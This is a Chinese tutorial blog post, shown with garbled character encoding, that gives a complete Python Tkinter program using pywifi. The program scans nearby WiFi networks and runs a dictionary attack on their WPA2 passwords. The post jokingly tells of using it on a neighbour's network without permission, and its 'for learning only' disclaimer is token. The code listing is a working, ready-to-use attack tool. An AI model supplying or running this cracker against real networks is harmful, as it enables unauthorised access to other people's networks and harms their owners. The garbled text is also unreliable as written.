利用Python編寫一個蹭WiFi的軟件
前因后果
昨晚十點學姐跟我發(fā)消息說她家的WiFi 不知道為什么今天就很慢,讓我趕緊去她家?guī)退纯矗敃r我就怒了,這大晚上的我都要睡覺了還給我整這破事,但是沒辦法,誰讓她是我學姐呢。
但是過去是不可能過去的,都這么晚了,男孩子要學會自己保護自己,大晚上的不要亂出門!
還好我會Python,于是我直接開機打開pycharm,花十分鐘用Python寫了個蹭WiFi的軟件,順便獲取了隔壁單身妹子的WiFi試了試效果,居然發(fā)現(xiàn)還挺好用,網(wǎng)速杠杠的!
注意事項
開始分享之前,還是要給大家提示一下:
- wifi萬能鑰匙不能用于商用,僅供學習使用;
- 一旦商用出現(xiàn)任何不好影響,都跟小編無關;
主要代碼
這里我們基于Tkinter庫進行開發(fā)
from tkinter import * import pywifi from pywifi import const import time import tkinter.filedialog # 在Gui中打開文件瀏覽 import tkinter.messagebox # 打開tkiner的消息提醒框 class WIFI_GUI(): def __init__(self, init_window_name): self.init_window_name = init_window_name # 密碼文件路徑 self.get_value = StringVar() # 設置可變內(nèi)容 # 獲取破解wifi賬號 self.get_wifi_value = StringVar() # 獲取wifi密碼 self.get_wifimm_value = StringVar() # 抓取網(wǎng)卡接口 self.wifi = pywifi.PyWiFi() # 抓取第一個無線網(wǎng)卡 self.iface = self.wifi.interfaces()[0] # 測試鏈接斷開所有鏈接 self.iface.disconnect() time.sleep(1) # 休眠1秒 # 測試網(wǎng)卡是否屬于斷開狀態(tài) assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] # 兄弟們學習python,有時候不知道怎么學,從哪里開始學。掌握了基本的一些語法或者做了兩個案例后,不知道下一步怎么走,不知道如何去學習更加高深的知識。 # 那么對于這些大兄弟們,我準備了大量的免費視頻教程,PDF電子書籍,以及源代碼!直接在文末名片自取即可 def __str__(self): # 自動會調(diào)用的函數(shù),返回自身的網(wǎng)卡 return '(WIFI:%s,%s)' % (self.wifi, self.iface.name()) # 設置窗口 def set_init_window(self): self.init_window_name.title("WIFI破解工具") self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下對象都是對于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text="搜索附近WiFi", command=self.scan_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = Label(labelframe, text="WiFi賬號:").grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表") self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) # 定義樹形結構與滾動條 self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d")) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的標題 self.wifi_tree.column("a", width=50, anchor="center") self.wifi_tree.column("b", width=100, anchor="center") self.wifi_tree.column("c", width=100, anchor="center") self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="WiFiID") self.wifi_tree.heading("b", text="SSID") self.wifi_tree.heading("c", text="BSSID") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind("<Double-1>", self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS) # 搜索wifi def scan_wifi_list(self): # 掃描周圍wifi列表 # 開始掃描 print("^_^ 開始掃描附近wifi...") self.iface.scan() time.sleep(15) # 在若干秒后獲取掃描結果 scanres = self.iface.scan_results() # 統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量 nums = len(scanres) print("數(shù)量: %s" % (nums)) # 實際數(shù)據(jù) self.show_scan_wifi_list(scanres) return scanres # 顯示wifi列表 def show_scan_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) # 添加密碼文件目錄 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) # Treeview綁定事件 def onDBClick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1]) # 讀取密碼字典,進行匹配 def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, "r", errors="ignore") while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功?。?!') print(self.res) break else: self.res = "[*] 密碼錯誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue # 對wifi和密碼進行匹配 def connect(self, pwd_Str, wifi_ssid): # 創(chuàng)建wifi鏈接文件 self.profile = pywifi.Profile() # wifi名稱 self.profile.ssid = wifi_ssid self.profile.auth = const.AUTH_ALG_OPEN # wifi加密算法 self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 self.profile.cipher = const.CIPHER_TYPE_CCMP # 密碼 self.profile.key = pwd_Str # 刪除所有的wifi文件 self.iface.remove_all_network_profiles() # 設定新的鏈接文件 self.tmp_profile = self.iface.add_network_profile(self.profile) self.iface.connect(self.tmp_profile) time.sleep(5) # 判斷是否連接wifi if self.iface.status() == const.IFACE_CONNECTED: isOK = True else: isOK = False # 斷開連接 self.iface.disconnect() time.sleep(1) # 檢查斷開狀態(tài) assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK #啟動GUI窗口 def gui_start(): init_window = Tk() ui = WIFI_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop() #執(zhí)行 if __name__ == "__main__": gui_start()
效果展示
這下,我想學姐應該沒有什么問題了,我都測試了,網(wǎng)速嘎嘎快!
于是我直接打包成exe,發(fā)送給了學姐~
到此這篇關于利用Python編寫一個蹭WiFi的軟件的文章就介紹到這了,更多相關Python WiFi內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
關于Python核心框架tornado的異步協(xié)程的2種方法詳解
今天小編就為大家分享一篇關于Python核心框架tornado的異步協(xié)程的2種方法詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-08-08Python實現(xiàn)解析參數(shù)的三種方法詳解
這篇文章主要介紹了python解析參數(shù)的三種方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2022-07-07Python實現(xiàn)查看系統(tǒng)啟動項功能示例
這篇文章主要介紹了Python實現(xiàn)查看系統(tǒng)啟動項功能,涉及Python針對系統(tǒng)注冊表啟動項的相關讀取操作實現(xiàn)技巧,需要的朋友可以參考下2018-05-05tensorflow實現(xiàn)訓練變量checkpoint的保存與讀取
今天小編就為大家分享一篇tensorflow實現(xiàn)訓練變量checkpoint的保存與讀取,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02python中pandas.read_csv()函數(shù)的深入講解
這篇文章主要給大家介紹了關于python中pandas.read_csv()函數(shù)的相關資料,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2021-03-03django channels使用和配置及實現(xiàn)群聊
本文主要介紹了django channels使用和配置及實現(xiàn)群聊,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2022-05-05基于telepath庫實現(xiàn)Python和JavaScript之間交換數(shù)據(jù)
telepath是一個Django庫,用于在Python和JavaScript之間交換數(shù)據(jù),使您可以構建具有豐富客戶端接口的應用程序,同時將業(yè)務邏輯保留在服務器端代碼中。2021-05-05